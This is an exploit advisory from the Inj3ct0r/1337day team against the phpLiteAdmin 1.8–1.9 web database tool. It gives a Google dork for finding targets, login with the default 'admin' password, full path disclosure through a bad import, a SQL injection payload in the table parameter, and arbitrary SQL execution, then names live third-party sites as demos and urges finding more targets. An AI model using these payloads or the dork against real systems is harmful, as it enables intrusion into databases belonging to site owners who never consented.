1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm KedAns-Dz member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ### # Title : phpLiteAdmin v1.8.x->1.9.x (SQLi/FD) <= Multiple Vulnerabilities # Author : KedAns-Dz # E-mail : ked-h (@hotmail.com / @1337day.com) # Home : Hassi.Messaoud (30500) - Algeria -(00213555248701) # Web Site : www.1337day.com .net .org # FaCeb0ok : http://fb.me/Inj3ct0rK3d # TwiTter : @kedans # Friendly Sites : www.r00tw0rm.com * www.exploit-id.com # Type : proof of concept - webapp 0day - remote - php # Tested on : Windows7 # Download : [http://phpliteadmin.googlecode.com] ### # <3 <3 Greetings t0 Palestine <3 <3 # F-ck HaCking, Lov3 Explo8ting ! ######## [ Proof / Exploit ] ################|=> # Google Dork : # allintext:"Powered by phpLiteAdmin | " ################## # [!] Description: ------------------ phpLiteAdmin is suffer from multiple vulnerabilities / bugs in v1.8.x to-> 1.9.x , the attacker can use some bug in the Script to inject some remote SQL command/code , and Disclosure the Full Path. # Bugs : #------- # Authentication Bypass # SQL Injection/Exec # Full Path Disclosure ####################### #### (1) Authentication Bypass : -------------------------------- [!] php-code : line 38->39 ::::::::::::::::: //password to gain access $password = "admin"; ::::::::::::::::::::::::::::: - not affected on all targets, just change the password to fix it [+] http://[target]/[path]/phpliteadmin.php [*] password : admin #### (2) Full Path Disclosure : ------------------------------- [+] http://[target]/[path]/phpliteadmin.php?view=import [!] & Import File with (NULL/Bad) Content => - you get some sql error msg with the full path of phpliteadmin.php ex: '------------- Warning: PDO::exec(): SQLSTATE[HY000]: General error: trying to execute an empty query in C:\Program Files\EasyPHP-12.1\www\phpliteadmin.php on line 987 ____________________________________ Warning: SQLiteDatabase::queryExec() [sqlitedatabase.queryexec]: Cannot execute empty query. in /homepages/20/d421371141/htdocs/pauleschoen.com/cgi-bin/phpliteadmin.php on line 646 ------------------' proof image (http://i46.tinypic.com/ddmek5.png) # in local test proof image (http://i49.tinypic.com/juepet.png) # in remote test #### (3) SQL Injection : ------------------------ php-code :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: $query = "SELECT * FROM ".$db->quote_id($_GET['table'])." WHERE ROWID = ".$pks[$j]; ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: [+] http://[target]/[path]/phpliteadmin.php?action=row_view&table=' [&] http://[target]/[path]/phpliteadmin.php?action=row_view&table=' [ SQLi ] proof image (http://i46.tinypic.com/102p750.png) #### (4) Exec SQL code : ------------------------ Go to : [*] http://[target]/[path]/phpliteadmin.php?view=sql -& put the SQL Code in the text-area (Run SQL query/queries :) and click 'GO' to exec ;) . ## DeMo's : http://www.pauleschoen.com/cgi-bin/phpliteadmin.php http://urp.caezar.net/php/ThemeFrame/phpliteadmin.php http://www.dbcreator.co.uk/pla3.php !+ Find More targets in Google ^_^ # ThnX 2 (Jusqua la Morts) :D # http://1337day.com/exploit/20185 #================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=============================================== # Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem # Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ, # +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com) # Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection # NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all # Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD # packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs #============================================================================================================